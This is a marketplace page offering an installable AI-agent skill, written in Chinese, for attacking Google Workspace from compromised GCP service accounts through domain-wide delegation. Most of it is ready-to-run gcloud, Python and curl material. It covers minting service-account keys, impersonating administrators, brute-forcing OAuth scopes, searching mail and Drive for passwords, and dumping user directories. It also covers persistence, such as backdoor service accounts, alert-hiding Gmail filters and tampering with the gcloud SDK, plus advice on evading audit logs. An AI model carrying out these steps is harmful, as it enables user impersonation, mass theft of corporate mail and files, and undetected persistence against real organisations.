Skip to main content Accueil Créateurs wgpsec aboutsecurity gcp-workspace-pivot
gcp-workspace-pivot GCP 到 Google Workspace 的穿越攻击方法论。当已获取 GCP Service Account 或 Project 权限并发现目标组织使用 Google Workspace、需要从云平台穿越到企业邮件/文档/管理控制台、或发现 Domain-Wide Delegation 配置时使用。覆盖 Domain-Wide Delegation 滥用、OAuth 范围利用、Workspace API 数据窃取(Gmail/Drive/Calendar/Admin Directory)、以及 Workspace 持久化技术
Aller à l'installation Skills Marketplace Découvrez et explorez les compétences IA créées par la communauté.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Copier le promptAfficher les détails du prompt Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
npx skills add https://github.com/wgpsec/AboutSecurity --skill gcp-workspace-pivotLa commande reste sur une seule ligne. Faites défiler horizontalement pour la vérifier avant de la copier.
Vous préférez une copie locale ? Téléchargez les fichiers actuellement disponibles dans SkillsMP.
Télécharger Zip Téléchargement... Métiers associés SOC
Basé sur la classification professionnelle SOC
Explorateur de fichiers
2 fichiers name gcp-workspace-pivot description GCP 到 Google Workspace 的穿越攻击方法论。当已获取 GCP Service Account 或 Project 权限并发现目标组织使用 Google Workspace、需要从云平台穿越到企业邮件/文档/管理控制台、或发现 Domain-Wide Delegation 配置时使用。覆盖 Domain-Wide Delegation 滥用、OAuth 范围利用、Workspace API 数据窃取(Gmail/Drive/Calendar/Admin Directory)、以及 Workspace 持久化技术 metadata {"tags":"gcp,google-workspace,gsuite,domain-wide-delegation,dwd,oauth,gmail,drive,calendar,admin-directory,穿越,Workspace攻击","category":"cloud"}
GCP 到 Google Workspace 穿越攻击方法论
GCP 与 Google Workspace 同属 Google Cloud 生态,二者通过 IAM 和 OAuth 深度绑定。当攻击者拿到 GCP Service Account 或 Project 权限后,若目标组织同时使用 Google Workspace(原 G Suite),就可能从云基础设施穿越到企业办公系统——直接访问全员邮件、文件、日历、通讯录乃至管理控制台。
为什么这个穿越如此致命 :
影响面极大 :一个配置了 Domain-Wide Delegation(DWD)的 Service Account 可冒充组织内任意用户
权限升级无感知 :DWD 滥用不需要目标用户交互或确认,被冒充的用户完全无感
数据价值极高 :企业邮件(Gmail)、共享文件(Drive)、会议日程(Calendar)、组织架构(Admin Directory)全部可被访问
攻击路径隐蔽 :通过 Service Account 生成的 OAuth Token 访问 Workspace API,不同于用户直接登录,很多组织缺少对此类访问的监控
深入参考
识别到具体 Workspace 后渗透场景后,加载参考文档获取完整技术细节:
核心概念:Domain-Wide Delegation(DWD)
DWD 是什么
Domain-Wide Delegation 是 Google Workspace 的一项功能,允许 GCP Service Account 代表 Workspace 域内的任意用户访问 Google API。其工作流程:
1. Service Account 使用私钥签署 JWT(声明要冒充的用户和请求的 OAuth scope)
2. JWT 发送到 Google OAuth 2.0 服务,请求 Access Token
3. Google 验证 DWD 配置后返回 Access Token(代表目标用户)
4. 使用该 Token 调用 Google API(Gmail/Drive/Calendar 等),以目标用户身份操作
为什么 DWD 危险
配置 DWD 时只需 Service Account 的 OAuth Client ID 和 OAuth Scope,不绑定特定用户
一旦配置,该 SA 可冒充域内任意用户 ,包括 Super Admin
DWD 配置只能在 Admin Console 手动管理,无法通过 API 审计 其历史变更
许多组织为了自动化工作流而配置 DWD,但未做最小权限限制
DWD 滥用的前提条件 条件 说明 拥有 SA 私钥或可创建新密钥 iam.serviceAccountKeys.create 权限SA 已配置 DWD Admin Console 中已授权该 SA 的 Client ID 知道至少一个有效 Workspace 用户邮箱 用于冒充,Super Admin 效果最佳 SA 被授权了有用的 OAuth Scope 如 Gmail、Drive、Admin Directory 等
攻击链:发现并利用 DWD
Step 1:枚举 GCP 项目中的 Service Account
gcloud iam service-accounts list --project <project-id>
for proj in $(gcloud projects list --format="value(projectId)" ); do
echo "=== Project: $proj ==="
gcloud iam service-accounts list --project "$proj " \
--format="table(email,displayName,disabled)" 2>/dev/null
done
Step 2:检查 SA 的密钥和权限
gcloud iam service-accounts keys list \
--iam-account <sa-email> \
--format="table(name,validAfterTime,validBeforeTime,keyType)"
gcloud iam service-accounts get-iam-policy <sa-email>
gcloud iam service-accounts keys create ./sa-key.json \
--iam-account <sa-email>
Step 3:识别 DWD 配置 DWD 配置无法通过 GCP API 直接查询,需要间接判断:
gcloud iam service-accounts describe <sa-email> \
--format="value(oauth2ClientId)"
自动化发现 :使用 DeleFriend 工具可批量枚举所有 SA 并尝试各种 OAuth Scope 组合来发现 DWD 配置。
Step 4:生成委托令牌并冒充用户 from google.oauth2 import service_account
import google.auth.transport.requests
SCOPES = [
'https://www.googleapis.com/auth/gmail.readonly' ,
'https://www.googleapis.com/auth/drive.readonly' ,
'https://www.googleapis.com/auth/calendar.readonly' ,
'https://www.googleapis.com/auth/admin.directory.user.readonly' ,
'https://www.googleapis.com/auth/admin.directory.group.readonly' ,
]
credentials = service_account.Credentials.from_service_account_file(
'sa-key.json' , scopes=SCOPES
)
delegated_creds = credentials.with_subject('admin@target-org.com' )
request = google.auth.transport.requests.Request()
delegated_creds.refresh(request)
print (f"Access Token: {delegated_creds.token} " )
TOKEN="<上一步获取的 token>"
curl -s -H "Authorization: Bearer $TOKEN " \
"https://gmail.googleapis.com/gmail/v1/users/me/messages?maxResults=5"
curl -s -H "Authorization: Bearer $TOKEN " \
"https://www.googleapis.com/drive/v3/files?pageSize=10"
Step 5:批量尝试 OAuth Scope 当不确定 SA 被授权了哪些 Scope 时,逐个尝试:
"""批量尝试不同 OAuth Scope 组合,发现 SA 的 DWD 权限范围"""
from google.oauth2 import service_account
import google.auth.transport.requests
SCOPE_LIST = [
'https://mail.google.com/' ,
'https://www.googleapis.com/auth/gmail.readonly' ,
'https://www.googleapis.com/auth/drive' ,
'https://www.googleapis.com/auth/drive.readonly' ,
'https://www.googleapis.com/auth/calendar' ,
'https://www.googleapis.com/auth/calendar.readonly' ,
'https://www.googleapis.com/auth/admin.directory.user' ,
'https://www.googleapis.com/auth/admin.directory.user.readonly' ,
'https://www.googleapis.com/auth/admin.directory.group' ,
'https://www.googleapis.com/auth/admin.directory.domain' ,
'https://www.googleapis.com/auth/cloud-platform' ,
'https://www.googleapis.com/auth/contacts.readonly' ,
'https://www.googleapis.com/auth/chat.messages.readonly' ,
]
for scope in SCOPE_LIST:
try :
creds = service_account.Credentials.from_service_account_file(
'sa-key.json' , scopes=[scope]
)
delegated = creds.with_subject('admin@target-org.com' )
delegated.refresh(google.auth.transport.requests.Request())
print (f"[+] 有效 Scope: {scope} " )
except Exception as e:
print (f"[-] 无效 Scope: {scope} ({e} )" )
决策树:GCP 权限 → Workspace 穿越路径 当前 GCP 权限级别?
├─ 拥有 SA 私钥文件
│ ├─ SA 已配置 DWD → 直接生成委托令牌冒充任意用户
│ └─ SA 未配置 DWD → 检查其他 SA / 尝试创建新 DWD(需 Workspace Admin)
│
├─ 可创建 SA 密钥(iam.serviceAccountKeys.create)
│ ├─ 枚举所有 SA → 为每个 SA 创建密钥 → 尝试 DWD
│ └─ 使用 DeleFriend 自动化枚举
│
├─ 拥有 Workspace Super Admin(通过 GCP 提权获得)
│ ├─ 创建新 SA + 配置 DWD → 完全控制 Workspace
│ └─ 直接通过 Admin Console 操作(不需 DWD)
│
├─ 普通 Workspace 用户凭据
│ ├─ 创建新 GCP 项目 → 启用 API → 枚举 Workspace
│ ├─ 加入开放的 Google Groups → 获取额外 GCP 权限
│ └─ gcloud auth login --enable-gdrive-access → 访问 Drive
│
└─ 仅有 GCP 项目 Viewer
└─ 枚举 SA 列表 → 寻找可利用的 SA → 尝试提权路径
OAuth Scope 利用速查
高价值 Scope 列表 OAuth Scope 能力 危险等级 https://mail.google.com/Gmail 完全读写(含发送) 极高 https://www.googleapis.com/auth/gmail.readonly读取所有邮件 高 https://www.googleapis.com/auth/driveDrive 完全读写 极高 https://www.googleapis.com/auth/admin.directory.user用户管理(创建/删除用户) 极高 https://www.googleapis.com/auth/admin.directory.group组管理 高 https://www.googleapis.com/auth/admin.directory.domain域管理 极高 https://www.googleapis.com/auth/calendar日历完全读写 中 https://www.googleapis.com/auth/contacts通讯录读写 中 https://www.googleapis.com/auth/chat.messagesChat 消息读写 中 https://www.googleapis.com/auth/cloud-platformGCP 全权限 极高
gcloud 凭据劫持 当物理访问到已登录 gcloud 的主机时,可以劫持已有凭据来访问 Workspace:
gcloud auth list
gcloud auth login --enable-gdrive-access
curl -H "Authorization: Bearer $(gcloud auth print-access-token) " \
"https://www.googleapis.com/drive/v3/files"
高级手法 :修改 google-cloud-sdk/lib/googlecloudsdk/core/config.py 中的 CLOUDSDK_SCOPES,注入额外的 OAuth Scope(如 https://www.googleapis.com/auth/drive),下次用户登录时 Token 自动携带该 Scope。
Workspace 数据窃取速查 服务 关键 API 典型操作 Gmail gmail.googleapis.com/gmail/v1/users/me/messages搜索/读取邮件,提取附件 Drive www.googleapis.com/drive/v3/files列出/下载文件,搜索敏感文档 Calendar www.googleapis.com/calendar/v3/calendars读取会议安排,查看参会人 Admin Directory admin.googleapis.com/admin/directory/v1/users枚举用户/组/域,修改角色 Chat chat.googleapis.com/v1/spaces读取 Chat 消息 Contacts people.googleapis.com/v1/people/me/connections获取通讯录
快速数据提取命令 TOKEN="<delegated_access_token>"
curl -s -H "Authorization: Bearer $TOKEN " \
"https://gmail.googleapis.com/gmail/v1/users/me/messages?q=password+OR+credential+OR+密码"
curl -s -H "Authorization: Bearer $TOKEN " \
"https://www.googleapis.com/drive/v3/files?q=name+contains+'password'+or+name+contains+'credential'&fields=files(id,name,mimeType)"
curl -s -H "Authorization: Bearer $TOKEN " \
"https://admin.googleapis.com/admin/directory/v1/users?domain=target-org.com&maxResults=500"
curl -s -H "Authorization: Bearer $TOKEN " \
"https://admin.googleapis.com/admin/directory/v1/groups?domain=target-org.com"
Workspace 持久化概览 技术 前置条件 隐蔽性 持久性 创建新 DWD 配置 Workspace Super Admin 中 永久(直到手动删除) 跨组织 DWD 攻击者 GCP 账户 + 目标 Super Admin 高 永久 Gmail 转发规则 被冒充用户身份 低 持续(直到发现) Gmail 过滤器隐藏告警 被冒充用户身份 高 持续 OAuth App 授权 用户交互或 Admin 权限 中 直到撤销 委托邮箱访问 用户设置或 Admin 权限 中 直到撤销 创建后门管理员账户 Admin Directory 写权限 低 直到发现 App Script 定时触发 用户交互 高 持续 修改 gcloud SDK Scope 主机物理/远程访问 高 直到 SDK 更新
gcloud iam service-accounts create backdoor-sa \
--project <attacker-project>
gcloud iam service-accounts keys create backdoor-key.json \
--iam-account backdoor-sa@<attacker-project>.iam.gserviceaccount.com
gcloud iam service-accounts describe \
backdoor-sa@<attacker-project>.iam.gserviceaccount.com \
--format="value(oauth2ClientId)"
关键发现 :DWD 的 OAuth Client ID 是全局的,跨组织 DWD 是可行的——攻击者 GCP 项目的 SA 可以被配置为目标 Workspace 组织的委托身份。只需要目标 Workspace 的 Super Admin 访问权限即可完成配置。
推荐工具 工具 用途 链接/命令 DeleFriend 自动化 DWD 发现与利用 github.com/axon-git/DeleFriendDelePwn DeleFriend 增强版,含域枚举/Drive/Gmail github.com/n0tspam/delepwngcpwn GCP 综合利用框架 github.com/NetSPI/gcpwngcp_delegation.py Gitlab 红队 DWD 利用脚本 gitlab.com/gitlab-com/gl-security/.../gcp_delegation.pygcp_gen_delegation_token 生成委托 OAuth Token github.com/carlospolop/gcp_gen_delegation_tokengoogle-api-python-client Google API Python SDK pip install google-api-python-clientPaperChaser Drive 文档蜘蛛爬取 github.com/mandatoryprogrammer/PaperChaser
OPSEC 注意事项
Workspace 审计日志 Google Workspace Admin Console 的审计日志会记录以下操作:
Admin 审计日志 :用户/组的创建、删除、权限变更
登录审计日志 :登录事件(但 SA 冒充不产生 登录日志)
Drive 审计日志 :文件查看、下载、共享、权限变更
Gmail 审计日志 :委托访问、邮件规则变更
Token 审计日志 :OAuth Token 授权和撤销
SAML 审计日志 :SSO 相关事件
高危告警触发器 操作 告警级别 说明 创建新 Admin 用户 高 Admin 审计日志 + 邮件通知 新增 DWD 配置 中 Admin 审计日志(但很多组织未监控) 大量 API 调用 中 异常流量检测 跨地理位置 Token 使用 低 SA Token 通常无地理限制 Gmail 转发规则变更 高 安全告警推送到用户手机 OAuth App 授权 中 取决于组织策略
OPSEC 建议
冒充 SA 而非用户登录 :SA 通过 DWD 生成的 Token 不会触发用户登录告警
控制 API 调用速率 :避免短时间大量请求触发异常检测
优先使用只读 Scope :readonly Scope 比读写 Scope 产生更少审计条目
选择冒充目标 :不一定要冒充 Super Admin,普通用户的操作更不易引起关注
Gmail 操作谨慎 :创建转发规则/过滤器会触发安全告警推送到用户手机
交叉引用
参考 gcp-pentesting 技能,获取 GCP 整体攻击流程和初始权限获取方法
参考 gcp-exploit 技能,获取 GCP 权限提升和 Service Account 相关利用技术